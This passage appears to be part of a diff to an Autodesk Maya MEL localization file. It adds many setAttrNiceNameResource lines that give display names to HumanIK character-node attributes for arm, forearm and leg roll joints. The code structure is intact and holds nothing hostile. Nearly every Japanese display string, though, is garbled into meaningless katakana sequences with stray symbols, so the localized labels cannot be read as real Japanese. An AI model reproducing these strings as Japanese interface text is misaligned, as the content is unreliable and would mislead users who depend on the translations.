ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimit", "メカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitx", "メカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimity", "メカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitz", "メカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimit", "メカモメアロイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitx", "メカモメアロイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimity", "メカモメアロイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitz", "メカモメアロイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnablex", "ニモテメカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnabley", "ニモテメカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MinRLimitEnablez", "ニモテメカモメアロイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnablex", "ニモテメカモメアロイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnabley", "ニモテメカモメアロイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2MaxRLimitEnablez", "ニモテメカモメアロイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2", "メカモメヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2T", "メカモメヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Tx", "メカモメヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Ty", "メカモメヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Tz", "メカモメヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2R", "メカモメヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Rx", "メカモメヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Ry", "メカモメヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Rz", "メカモメヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2S", "メカモメヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sx", "メカモメヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sy", "メカモメヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2Sz", "メカモメヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateOrder", "メカモメヌーアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxis", "メカモメヌーアロイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisx", "メカモメヌーアロイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisy", "メカモメヌーアロイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2RotateAxisz", "メカモメヌーアロイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrient", "メカモメヌーアロイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrientx", "メカモメヌーアロイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrienty", "メカモメヌーアロイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2JointOrientz", "メカモメヌーアロイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimit", "メカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitx", "メカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimity", "メカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitz", "メカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimit", "メカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitx", "メカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimity", "メカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitz", "メカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnablex", "ニモテメカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnabley", "ニモテメカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MinRLimitEnablez", "ニモテメカモメヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnablex", "ニモテメカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnabley", "ニモテメカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightForeArmRoll2MaxRLimitEnablez", "ニモテメカモメヌーアロイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3", "メカラエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3T", "メカラエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Tx", "メカラエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Ty", "メカラエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Tz", "メカラエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3R", "メカラエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Rx", "メカラエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Ry", "メカラエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Rz", "メカラエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3S", "メカラエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sx", "メカラエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sy", "メカラエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3Sz", "メカラエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateOrder", "メカラエヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxis", "メカラエヘネイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisx", "メカラエヘネイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisy", "メカラエヘネイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3RotateAxisz", "メカラエヘネイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrient", "メカラエヘネイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrientx", "メカラエヘネイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrienty", "メカラエヘネイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3JointOrientz", "メカラエヘネイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimit", "メカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitx", "メカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimity", "メカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitz", "メカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimit", "メカラエヘネイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitx", "メカラエヘネイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimity", "メカラエヘネイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitz", "メカラエヘネイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnablex", "ニモテメカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnabley", "ニモテメカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MinRLimitEnablez", "ニモテメカラエヘネイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnablex", "ニモテメカラエヘネイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnabley", "ニモテメカラエヘネイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll3MaxRLimitEnablez", "ニモテメカラエヘネイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3", "メカラヘネイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3T", "メカラヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Tx", "メカラヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Ty", "メカラヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Tz", "メカラヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3R", "メカラヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Rx", "メカラヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Ry", "メカラヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Rz", "メカラヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3S", "メカラヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sx", "メカラヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sy", "メカラヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3Sz", "メカラヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateOrder", "メカラヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxis", "メカラヘネイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisx", "メカラヘネイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisy", "メカラヘネイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3RotateAxisz", "メカラヘネイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrient", "メカラヘネイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrientx", "メカラヘネイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrienty", "メカラヘネイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3JointOrientz", "メカラヘネイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimit", "メカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitx", "メカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimity", "メカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitz", "メカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimit", "メカラヘネイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitx", "メカラヘネイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimity", "メカラヘネイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitz", "メカラヘネイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnablex", "ニモテメカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnabley", "ニモテメカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MinRLimitEnablez", "ニモテメカラヘネイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnablex", "ニモテメカラヘネイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnabley", "ニモテメカラヘネイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll3MaxRLimitEnablez", "ニモテメカラヘネイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3", "メカモメエヘネイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3T", "メカモメエヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Tx", "メカモメエヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Ty", "メカモメエヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Tz", "メカモメエヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3R", "メカモメエヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Rx", "メカモメエヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Ry", "メカモメエヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Rz", "メカモメエヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3S", "メカモメエヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sx", "メカモメエヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sy", "メカモメエヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3Sz", "メカモメエヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateOrder", "メカモメエヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxis", "メカモメエヘネイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisx", "メカモメエヘネイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisy", "メカモメエヘネイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3RotateAxisz", "メカモメエヘネイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrient", "メカモメエヘネイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrientx", "メカモメエヘネイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrienty", "メカモメエヘネイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3JointOrientz", "メカモメエヘネイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimit", "メカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitx", "メカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimity", "メカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitz", "メカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimit", "メカモメエヘネイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitx", "メカモメエヘネイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimity", "メカモメエヘネイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitz", "メカモメエヘネイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnablex", "ニモテメカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnabley", "ニモテメカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MinRLimitEnablez", "ニモテメカモメエヘネイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnablex", "ニモテメカモメエヘネイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnabley", "ニモテメカモメエヘネイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll3MaxRLimitEnablez", "ニモテメカモメエヘネイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3", "メカモメヘネイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3T", "メカモメヘネイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Tx", "メカモメヘネイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Ty", "メカモメヘネイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Tz", "メカモメヘネイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3R", "メカモメヘネイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Rx", "メカモメヘネイ犹 3 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Ry", "メカモメヘネイ犹 3 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Rz", "メカモメヘネイ犹 3 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3S", "メカモメヘネイ犹 3 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sx", "メカモメヘネイ犹 3 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sy", "メカモメヘネイ犹 3 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3Sz", "メカモメヘネイ犹 3 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateOrder", "メカモメヘネイ犹 3 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxis", "メカモメヘネイ犹 3 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisx", "メカモメヘネイ犹 3 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisy", "メカモメヘネイ犹 3 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3RotateAxisz", "メカモメヘネイ犹 3 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrient", "メカモメヘネイ犹 3 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrientx", "メカモメヘネイ犹 3 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrienty", "メカモメヘネイ犹 3 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3JointOrientz", "メカモメヘネイ犹 3 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimit", "メカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitx", "メカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimity", "メカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitz", "メカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimit", "メカモメヘネイ犹 3 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitx", "メカモメヘネイ犹 3 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimity", "メカモメヘネイ犹 3 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitz", "メカモメヘネイ犹 3 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnablex", "ニモテメカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnabley", "ニモテメカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MinRLimitEnablez", "ニモテメカモメヘネイ犹 3 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnablex", "ニモテメカモメヘネイ犹 3 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnabley", "ニモテメカモメヘネイ犹 3 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll3MaxRLimitEnablez", "ニモテメカモメヘネイ犹 3 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3", "メカラアロイ犹 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3T", "メカラアロイ犹 3 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Tx", "メカラアロイ犹 3 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Ty", "メカラアロイ犹 3 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Tz", "メカラアロイ犹 3 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3R", "メカラアロイ犹 3 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll3Rx", "メカラアロイ犹 3 ミラェ 